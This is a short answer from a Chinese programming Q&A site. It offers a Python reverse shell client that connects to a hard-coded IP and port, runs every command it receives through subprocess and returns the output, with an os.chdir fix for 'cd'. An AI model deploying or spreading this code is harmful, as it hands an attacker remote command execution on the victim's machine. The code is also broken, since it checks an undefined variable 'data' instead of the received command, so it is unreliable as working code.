1 回答

TA貢獻(xiàn)1862條經(jīng)驗(yàn) 獲得超6個(gè)贊
通過(guò)在客戶端文件中使用“os”庫(kù)和“os.chdir”方法來(lái)解決,如下所示:
import socket
import subprocess
import os # Import this library
SERVER_HOST = "192.168.1.81"
SERVER_PORT = 5003
s = socket.socket()
s.connect((SERVER_HOST, SERVER_PORT))
while True:
command = s.recv(1024).decode()
if data[:2].decode('utf-8') == 'cd':
os.chdir(data[3:].decode('utf-8')) # Use the method change directory called "os.chdir"
if command.lower() == "exit":
break
else:
output = subprocess.getoutput(command)
s.send(output.encode())
s.close()
添加回答
舉報(bào)